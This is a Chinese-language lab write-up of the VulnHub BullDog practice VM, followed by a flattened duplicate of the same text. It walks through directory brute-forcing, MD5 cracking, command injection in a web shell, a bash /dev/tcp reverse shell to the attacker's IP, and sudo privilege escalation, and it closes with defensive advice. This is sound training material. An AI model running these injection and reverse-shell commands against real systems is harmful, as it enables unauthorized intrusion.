VulnHub靶机学习——BullDog实战记录
字数 1498 2025-08-18 11:38:22

VulnHub靶机BullDog渗透测试实战教学文档

一、靶机概述

  • 靶机名称: BullDog
  • 难度等级: 初学者/中级
  • 目标: 获取root权限并查看flag
  • 下载地址: https://download.vulnhub.com/bulldog/bulldog.ova
  • 技术要点: 目录爆破、MD5解密、Web Shell利用、命令注入、Shell反弹、权限提升

二、环境配置

攻击机配置

  • 系统: Kali Linux
  • IP地址: 172.16.111.14
  • 工具: dirb、netcat、浏览器

靶机配置

  • 系统: Bulldog
  • IP地址: 172.16.111.90
  • 网络模式: 桥接模式

三、渗透测试详细步骤

1. 信息收集

初始访问

  • 访问靶机IP http://172.16.111.90
  • 检查"Public Notice"链接和页面源代码,未发现有用信息

目录爆破

使用dirb工具扫描网站目录:

dirb http://172.16.111.90

扫描结果中发现两个重要目录:

  • /admin - 登录页面
  • /dev - 开发信息页面

2. 漏洞发现与利用

分析/dev页面

  • 页面信息表明系统使用Django编写,启用了SSH,完全删除了PHP
  • 发现"Web-Shell"链接,但需要身份验证
  • 检查页面源代码发现MD5哈希值

MD5解密

发现的MD5哈希值及解密结果:

7yC6Zb7C - bulldog
2sMc01Nq - bulldoglover

登录尝试

  • 尝试使用bulldog:bulldoglover组合登录/admin页面失败
  • 在源代码中发现用户名nicksarah
  • 成功登录凭证:
    • nick:bulldog
    • sarah:bulldoglover

3. Web Shell利用

命令注入测试

在Web Shell中输入:

Ifconfig &whoami

确认存在命令注入漏洞

Shell反弹尝试

  1. 在Kali上启动监听:
nc -lvnp 6666
  1. 初始反弹尝试失败:
bash -i >& /dev/tcp/172.16.111.14/6666 0>&1
  1. 成功反弹方法:
echo "bash -i >& /dev/tcp/172.16.111.14/6666 0>&1" | bash

4. 权限提升

系统用户检查

cat /etc/passwd

发现特殊用户bulldogadmin

查找用户文件

find / -user bulldogadmin 2>/dev/null

发现隐藏目录:

/home/bulldogadmin/.hiddenadmindirectory

分析隐藏文件

检查隐藏目录中的文件:

less /home/bulldogadmin/.hiddenadmindirectory/*

使用strings命令查看二进制文件:

strings /home/bulldogadmin/.hiddenadmindirectory/customPermissionApp

发现密码线索:SUPERultimatePASSWORDyouCANTget

获取交互式Shell

由于直接su命令需要终端,使用Python获取完整终端:

python -c 'import pty;pty.spawn("/bin/bash")'

提权到root

sudo su -

输入密码:SUPERultimatePASSWORDyouCANTget

5. 获取flag

ls
cat congrats.txt

四、关键技术总结

  1. 目录爆破:使用dirb发现隐藏目录/admin和/dev
  2. 源代码审计:通过检查页面源代码发现MD5哈希值
  3. 密码破解:解密MD5获取有效凭证
  4. 命令注入:利用Web Shell进行命令注入
  5. Shell反弹:多种反弹方法尝试,最终通过echo方式成功
  6. 权限提升
    • 查找特殊用户文件
    • 分析二进制文件获取密码
    • 使用Python获取完整终端环境
    • 利用sudo提权

五、防御建议

  1. 避免敏感信息泄露:不应在源代码中存储密码哈希值
  2. 加强认证机制:Web Shell应实施更严格的身份验证
  3. 输入过滤:对用户输入进行严格过滤,防止命令注入
  4. 权限最小化:限制用户权限,避免使用高权限账户运行服务
  5. 敏感文件保护:重要配置文件应设置适当权限

六、扩展学习

  1. Shell反弹技术:研究多种Shell反弹方法
  2. Linux权限提升:深入学习Linux系统提权技术
  3. 密码破解:了解更复杂的密码破解技术
  4. 源代码审计:提高代码审计能力发现隐藏漏洞

通过本次BullDog靶机的实战演练,可以系统掌握从信息收集到权限提升的完整渗透测试流程,特别适合初学者到中级水平的安全爱好者学习。

VulnHub靶机BullDog渗透测试实战教学文档 一、靶机概述 靶机名称 : BullDog 难度等级 : 初学者/中级 目标 : 获取root权限并查看flag 下载地址 : https://download.vulnhub.com/bulldog/bulldog.ova 技术要点 : 目录爆破、MD5解密、Web Shell利用、命令注入、Shell反弹、权限提升 二、环境配置 攻击机配置 系统 : Kali Linux IP地址 : 172.16.111.14 工具 : dirb、netcat、浏览器 靶机配置 系统 : Bulldog IP地址 : 172.16.111.90 网络模式 : 桥接模式 三、渗透测试详细步骤 1. 信息收集 初始访问 访问靶机IP http://172.16.111.90 检查"Public Notice"链接和页面源代码,未发现有用信息 目录爆破 使用dirb工具扫描网站目录: 扫描结果中发现两个重要目录: /admin - 登录页面 /dev - 开发信息页面 2. 漏洞发现与利用 分析/dev页面 页面信息表明系统使用Django编写,启用了SSH,完全删除了PHP 发现"Web-Shell"链接,但需要身份验证 检查页面源代码发现MD5哈希值 MD5解密 发现的MD5哈希值及解密结果: 登录尝试 尝试使用 bulldog:bulldoglover 组合登录/admin页面失败 在源代码中发现用户名 nick 和 sarah 成功登录凭证: nick:bulldog sarah:bulldoglover 3. Web Shell利用 命令注入测试 在Web Shell中输入: 确认存在命令注入漏洞 Shell反弹尝试 在Kali上启动监听: 初始反弹尝试失败: 成功反弹方法: 4. 权限提升 系统用户检查 发现特殊用户 bulldogadmin 查找用户文件 发现隐藏目录: 分析隐藏文件 检查隐藏目录中的文件: 使用strings命令查看二进制文件: 发现密码线索: SUPERultimatePASSWORDyouCANTget 获取交互式Shell 由于直接su命令需要终端,使用Python获取完整终端: 提权到root 输入密码: SUPERultimatePASSWORDyouCANTget 5. 获取flag 四、关键技术总结 目录爆破 :使用dirb发现隐藏目录/admin和/dev 源代码审计 :通过检查页面源代码发现MD5哈希值 密码破解 :解密MD5获取有效凭证 命令注入 :利用Web Shell进行命令注入 Shell反弹 :多种反弹方法尝试,最终通过echo方式成功 权限提升 : 查找特殊用户文件 分析二进制文件获取密码 使用Python获取完整终端环境 利用sudo提权 五、防御建议 避免敏感信息泄露 :不应在源代码中存储密码哈希值 加强认证机制 :Web Shell应实施更严格的身份验证 输入过滤 :对用户输入进行严格过滤,防止命令注入 权限最小化 :限制用户权限,避免使用高权限账户运行服务 敏感文件保护 :重要配置文件应设置适当权限 六、扩展学习 Shell反弹技术 :研究多种Shell反弹方法 Linux权限提升 :深入学习Linux系统提权技术 密码破解 :了解更复杂的密码破解技术 源代码审计 :提高代码审计能力发现隐藏漏洞 通过本次BullDog靶机的实战演练,可以系统掌握从信息收集到权限提升的完整渗透测试流程,特别适合初学者到中级水平的安全爱好者学习。